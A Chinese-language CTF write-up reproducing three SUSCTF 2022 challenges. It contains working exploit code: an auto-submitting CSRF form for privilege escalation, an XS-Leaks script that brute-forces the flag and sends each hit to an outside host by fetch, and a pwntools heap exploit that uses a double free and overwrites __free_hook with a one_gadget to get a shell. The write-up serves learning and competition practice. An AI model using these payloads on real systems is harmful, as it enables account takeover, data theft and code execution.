susctf2022部分题目复现

  1. 1. Web
    1. 1.1. fxxkcors
    2. 1.2. ez_note
  2. 2. pwn
    1. 2.1. hell_world
      1. 2.1.1. 分析
      2. 2.1.2. 利用

跟着大佬们的wp复现了一波,学到了很多东西。

Web

fxxkcors

题目存在一个可把用户提升为admin权限的接口,但是需要admin才有该权限。

image-20220301124344031

很容易想到CSRF,但是进一步发现提升权限的接口接受json类型数据:

image-20220301124608048

image-20220301124625150

传输json数据只想到可以使用Ajax(XMLHttpRequest),测试过程中发现Ajax只发送OPTIONS请求。

image-20220301124955429

这就涉及到同源策略了,参考https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy

根据资料,跨源网络访问进行写操作是允许的,少数的HTTP请求需要添加preflight。

image-20220301131109800

而使用XMLHttpRequest发送POST JSON请求就会添加preflight,即首先发送一个OPTIONS请求判断跨域站的同源策略,然后再根据同源策略判断是否发送POST请求.

那么该题就只能用表单提交的方式来发送提权请求了,这里参考 https://blog.azuki.vip/csrf/

构造的payload如下:

1
2
3
4
5
6
7
8
9
10
11
<html>
<body>
<form id="form" method="post" enctype="text/plain" action="http://124.71.205.122:10002/changeapi.php">
<input style='display:none' name='{"username":"' value='l0nm4r"}'>
<input type="submit" value="Click me">
</form>
<script>
window.onload = () => {form.submit()}
</script>
</body>
</html>

使用enctype="text/plain" 来避免数据被编码.

总结: 加深了对CSRF防御的理解. 1. 添加token 2. 尽量使用Ajax等方式来传输json数据.

ez_note

参考SUWM战队的WP复现一波,

https://team-su.github.io/passages/2022-2-28-SUSCTF/#ez-note

https://blog.wm-team.cn/index.php/archives/8/

考察XS-Leaks. XS-Leaks参考 https://xsleaks.dev/docs/attacks/navigations/

  1. 题目提供了一个note系统,可以post note,但是这里不存在漏洞.那么可以想到note在admin的post里面

  2. 直接提交http://xxx会覆盖掉前面的链接让bot访问我们的页面

image-20220301132441712

image-20220301132518484

  1. 可以构造CSRF来让admin访问http://123.60.29.171:10001/search?q=a,然后根据这个爆破flag.

搜索到唯一结果时会触发重定向,Windows.history会+1

image-20220301134348114

  1. 同时需要保证访问/search带cookie,使用window.open可以携带cookie的同时获取到flag.

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<html>
<body>
<script>

function send(msg){
fetch("http://il0.xyz:1234/?flag="+msg)
}

windows = []
async function tryflag(keyword){
var w = window.open('http://123.60.29.171:10001/search?q='+keyword)
windows[keyword] = w
setTimeout(() => {
windows[keyword].location = 'about:blank' // 自己的域也可
setTimeout(() => {
if (windows[keyword].history.length === 3){
send(keyword)
} else {
// send('falied')
}
windows[keyword].close()
},1000)
},1500)
}

var flag="SUSCTF{a"
dict = "abcdefghijklmnopqrstuvwxyz0123456789_}"
function run(){
for(var j = 0 ; j < dict.length ; j ++ ) {
var test_flag = flag + dict[j]
tryflag(test_flag)
}
}
setTimeout(()=>{
run()
},1000)

</script>
<body>
<html>

这里有一些坑的点:

  1. 题目服务器性能好像不太行,同时开30个页面会打不通, 可以切割字段多试几次(x
  2. 修改location必须用timeout来延时,也是考虑服务器运行问题.

pwn

hell_world

分析

保护全开,libc版本为2.27

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@Ubuntu:/desktop/sus# checksec  happytree
[*] '/desktop/sus/happytree'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
root@Ubuntu:/desktop/sus# ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.2) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.5.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
root@Ubuntu:/desktop/sus#

代码实现了一个标准的二叉查找树的逻辑:

对于一个节点n:

  • 其左子树下的每个后代节点的值都小于节点 n 的值;
  • 其右子树下的每个后代节点的值都大于节点 n 的值。

二叉树的实现基于一个四字节数组:

1
2
3
4
a[0] = sizeof(content); // 4字节
a[1] = &content; // 8字节
a[2] = &leftTree; // 8字节
a[3] = &rightTree; // 8字节

Insert节点逻辑: 需要其中分配内存的顺序为先分配0x20的数组内存再分配content内存.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// chunk_0 = Insert(chunk_0, chunk_0, data_value);
__int64 __fastcall Insert(__int64 a1, __int64 chunk0, unsigned int data_value)
{
__int64 chunk0_1; // [rsp+10h] [rbp-10h]

chunk0_1 = chunk0; // chunk0
if ( chunk0 ) // chunk0!=NULL
{
if ( (signed int)data_value >= *(_DWORD *)chunk0 )// new_size > top_size
{
if ( (signed int)data_value > *(_DWORD *)chunk0 )
*(_QWORD *)(chunk0 + 24) = Insert(chunk0, *(_QWORD *)(chunk0 + 24), data_value);// new is big
}
else
{ // <=
*(_QWORD *)(chunk0 + 16) = Insert(chunk0, *(_QWORD *)(chunk0 + 16), data_value);// new is small
}
}
else
{ // chunk0 = NULL
chunk0_1 = operator new(0x20uLL); // new(0x20)
*(_DWORD *)chunk0_1 = data_value; // chunk[0] = data_value
*(_QWORD *)(chunk0_1 + 8) = operator new[]((unsigned __int8)data_value);
std::operator<<<std::char_traits<char>>(&std::cout, "content: ");
read(0, *(void **)(chunk0_1 + 8), (unsigned __int8)data_value);
}
return chunk0_1;
}

删除节点操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// chunk_0 = Delete(chunk_0, chunk_0, data_value)
_QWORD *__fastcall Delete(__int64 chunk0_x, _QWORD *chunk0, unsigned int data_value)
{
_QWORD *ret_chunk; // [rsp+10h] [rbp-20h]
unsigned int *leftest_chunk; // [rsp+20h] [rbp-10h]

ret_chunk = chunk0;
if ( !chunk0 )
return 0LL;
if ( (signed int)data_value >= *(_DWORD *)chunk0 )// big
{
if ( (signed int)data_value <= *(_DWORD *)chunk0 )// equal
{ // data_value = *chunk0
if ( chunk0[2] && chunk0[3] ) // 存在左右子树
{
leftest_chunk = (unsigned int *)sub_F72(chunk0_x, chunk0[3]);
*(_DWORD *)chunk0 = *leftest_chunk;
chunk0[3] = Delete(chunk0_x, (_QWORD *)chunk0[3], *leftest_chunk);
}
else
{
if ( chunk0[2] ) // 存在左子树
{
if ( !chunk0[3] )
ret_chunk = (_QWORD *)chunk0[2]; // 返回左边的
}
else
{
ret_chunk = (_QWORD *)chunk0[3]; // 返回右边的子树
}
operator delete((void *)chunk0[1], 1uLL);// 删除根节点 context
operator delete(chunk0, 0x20uLL); // 删除根节点
}
}
else
{ // data_value > *chunk0
chunk0[3] = Delete(chunk0_x, (_QWORD *)chunk0[3], data_value);// 从右子树查找元素并删除
}
}
else
{ // data_value < *chunk0
chunk0[2] = Delete(chunk0_x, (_QWORD *)chunk0[2], data_value);// 从左子树查找元素并删除
}
return ret_chunk;
}

删除节点时会把该节点下的子树返回并拼接到之前节点的位置,可以利用这个特质来构造一个循环的子树:

如下图:

image-20220301194847319

利用

  1. 申请和释放堆内存时未清空内存,可以利用这个泄露堆内存. 因为unsorted bin的chunk连着main_arena,所以又可以泄露main_arena的地址进而计算出libc基址.

原理参考https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack/#__malloc_hook

使用__malloc_trim 推地址属实不明白, 还是直接用__malloc_hook 比较好.

  1. 因为可以构造一个循环子树,所以可以double free, 只不过这里需要注意一点是第一次free时会修改释放chunk的fd指针, 如果tcache未清空那么fd就被填充为别的chunk的地址了,即data值被改,无法二次释放.tcache清空时会把fd指针修改为0, 所以还可以Delete(0)
  2. double free之后就可以劫持__free_hook地址到one_gadget来getShell.

image-20220301200204857

  1. 还有一个坑点,double free之后0x30大小的chunk最后可能会指向一个不可写的内存区域,需要提前存一些0x30大小的chunk, 等需要的时候释放.

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
libc = ELF('./libc.so.6')

io = process('./happytree')
# io = gdb.debug('./happytree','''
# b *$rebase(0x0000000000000C9B)
# ''')

def Option(cmd):
io.recvuntil(b'cmd> ')
io.sendline(f"{cmd}".encode())

def Insert(data,content):
Option(1)
io.recvuntil(b'data: ')
io.sendline(f"{data}".encode())
io.recvuntil(b'content: ')
if type(content) == bytes:
io.sendline(content)
else:
io.send(f"{content}".encode()) # send

def Delete(data):
Option(2)
io.recvuntil(b'data: ')
io.sendline(f"{data}".encode())

def Show(data):
Option(3)
io.recvuntil(b'data: ')
io.sendline(f"{data}".encode())

for i in range(8): # 7+1
Insert(0x81+i,'a')

for i in range(8):
Delete(0x81+7-i)
# tcache is full
# using tcache:
for i in range(7):
Insert(0x81+i,'a')
# 0x88 fd and bk are main_arena + 96
Insert(0x88,'aaaaaaaa') # using tcache as content
Show(0x88)
io.recvuntil(b'content: aaaaaaaa')
r = io.recv(6)
leak = u64(r.ljust(8,b'\x00'))#@-0x0a+0x40 # main_arena + 96
libc_base = leak - (libc.symbols["__malloc_hook"] + 0x10 + 96)
print(f"libc_base: {hex(libc_base)}")

Insert(0x21,'a') # 备用

Insert(10,'a')
# loop
Insert(9,'a')
Insert(8,'a')
Delete(9)
Insert(7,'a')
Delete(7)
# now 8 is loop in left node
Insert(11,'a') # clear tcache
Delete(8) # delete changes data value to (fd)zero,content to bk.
Delete(0) # double free

# free_hook位置处代码修改为system
free_hook = libc_base + libc.symbols["__free_hook"]
Insert(13,p64(free_hook)) # content[0] = free_hook -> content->fd = free_hook
Delete(0x21)
Insert(14,'a') # clear tcache
gadgets = [0x4f365,0x4f3c2,0x10a45c]
Insert(15,p64(libc_base+gadgets[1])) # dead loop -> data chunk不可写 -> fast bins
pause()
print(f"shellcode: {hex(libc_base+gadgets[1])}")
# content==free_hook = one_gadget
Delete(14)
io.interactive()